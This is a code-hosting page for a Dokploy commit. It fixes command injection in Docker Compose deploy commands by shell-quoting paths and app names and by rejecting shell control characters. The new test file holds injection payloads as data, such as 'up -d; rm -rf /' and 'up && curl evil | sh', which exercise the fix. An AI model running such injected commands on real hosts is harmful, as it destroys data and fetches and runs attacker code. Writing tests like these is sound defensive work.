History

fix(security): escape compose path and validate custom compose command

- composePath / appName are now passed through shell-quote in createCommand, getCreateEnvFileCommand and services/compose.ts deploy commands, instead of being interpolated raw into 'docker compose'/'docker stack' shell commands. - compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now rejects shell control characters (; & | ` $ () {} <> newline), which a normal docker compose CLI line never contains, blocking breakout into host commands. Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw

Mauricio Siu committed 3 months ago

Commit d48037a1 parent 8539a5c3 files · +121 −5Browse files

Unified · Split

3 files
  1. apps/dokploy/__test__/compose/compose-command-injection.test.ts +104 −0
  2. packages/server/src/services/compose.ts +2 −1
  3. packages/server/src/utils/builders/compose.ts +15 −4
apps/dokploy/__test__/compose/compose-command-injection.test.ts+104−0
@@ -0,0 +1,104 @@
1+import { execSync } from "node:child_process";
2+import { existsSync, rmSync } from "node:fs";
3+import { createCommand } from "@dokploy/server/utils/builders/compose";
4+import { parse, quote } from "shell-quote";
5+import { describe, expect, it } from "vitest";
6+
7+const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
8+
9+const base = {
10+ composeType: "docker-compose" as const,
11+ appName: "compose-app",
12+ sourceType: "raw" as const,
13+ command: "",
14+ composePath: "docker-compose.yml",
15+};
16+
17+// createCommand output is interpolated as `docker ${command}` at the deploy
18+// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
19+const runsSafely = (command: string) => {
20+ if (existsSync(MARK)) rmSync(MARK);
21+ try {
22+ execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
23+ } catch {}
24+ const fired = existsSync(MARK);
25+ if (existsSync(MARK)) rmSync(MARK);
26+ return !fired;
27+};
28+
29+const PAYLOADS = [
30+ `$(touch ${MARK})`,
31+ "`touch " + MARK + "`",
32+ `x; touch ${MARK}`,
33+ `x | touch ${MARK}`,
34+];
35+
36+describe("compose createCommand injection", () => {
37+ it("escapes composePath (docker-compose)", () => {
38+ for (const p of PAYLOADS) {
39+ const cmd = createCommand({
40+ ...base,
41+ sourceType: "github",
42+ composePath: p,
43+ } as any);
44+ expect(runsSafely(cmd)).toBe(true);
45+ }
46+ });
47+
48+ it("escapes composePath (stack deploy)", () => {
49+ for (const p of PAYLOADS) {
50+ const cmd = createCommand({
51+ ...base,
52+ composeType: "stack",
53+ sourceType: "github",
54+ composePath: p,
55+ } as any);
56+ expect(runsSafely(cmd)).toBe(true);
57+ }
58+ });
59+
60+ it("escapes appName", () => {
61+ for (const p of PAYLOADS) {
62+ const cmd = createCommand({
63+ ...base,
64+ sourceType: "github",
65+ appName: p,
66+ composePath: "docker-compose.yml",
67+ } as any);
68+ expect(runsSafely(cmd)).toBe(true);
69+ }
70+ });
71+
72+ it("rejects a custom command containing shell control characters", () => {
73+ for (const bad of [
74+ "up -d; rm -rf /",
75+ "up && curl evil | sh",
76+ "up $(touch x)",
77+ "up `id`",
78+ ]) {
79+ expect(() =>
80+ createCommand({ ...base, command: bad } as any),
81+ ).toThrow(/Invalid characters/);
82+ }
83+ });
84+
85+ it("allows a legitimate custom command", () => {
86+ const cmd = createCommand({
87+ ...base,
88+ command: "compose -f docker-compose.yml -p app up -d --build",
89+ } as any);
90+ expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
91+ });
92+
93+ it("keeps a legitimate composePath intact", () => {
94+ const cmd = createCommand({
95+ ...base,
96+ sourceType: "github",
97+ composePath: "deploy/docker-compose.prod.yml",
98+ } as any);
99+ expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
100+ expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
101+ "deploy/docker-compose.prod.yml",
102+ );
103+ });
104+});
packages/server/src/services/compose.ts+2−1
@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; · 32 unmodified lines
3333 import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
3434 import { TRPCError } from "@trpc/server";
3535 import { eq } from "drizzle-orm";
36+import { quote } from "shell-quote";
3637 import type { z } from "zod";
3738 import { encodeBase64 } from "../utils/docker/utils";
3839 import { getDokployUrl } from "./admin";
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { · 433 unmodified lines
472473 const projectPath = join(COMPOSE_PATH, compose.appName, "code");
473474 const path =
474475 compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
475− const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
476+ const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
476477 if (compose.composeType === "docker-compose") {
477478 if (compose.serverId) {
478479 await execAsyncRemote(
packages/server/src/utils/builders/compose.ts+15−4
@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; · 66 unmodified lines
6767 return bashCommand;
6868 };
6969
70+// Shell control characters that must never appear in a user-provided compose
71+// command: they would let it break out of the `docker ${command}` invocation
72+// into arbitrary host commands. A normal docker compose CLI line never needs them.
73+const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
74+
7075 const sanitizeCommand = (command: string) => {
7176 const sanitizedCommand = command.trim();
7277
78+ if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
79+ throw new Error(
80+ "Invalid characters in compose command: shell control characters are not allowed",
81+ );
82+ }
83+
7384 const parts = sanitizedCommand.split(/\s+/);
7485
7586 const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { · 12 unmodified lines
8899 let command = "";
89100
90101 if (composeType === "docker-compose") {
91− command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
102+ command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
92103 } else if (composeType === "stack") {
93− command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
104+ command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
94105 }
95106
96107 return command;
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { · 27 unmodified lines
124135
125136 const encodedContent = encodeBase64(envFileContent);
126137 return `
127−touch ${envFilePath};
128−echo "${encodedContent}" | base64 -d > "${envFilePath}";
138+touch ${quote([envFilePath])};
139+echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
129140 `;
130141 };
131142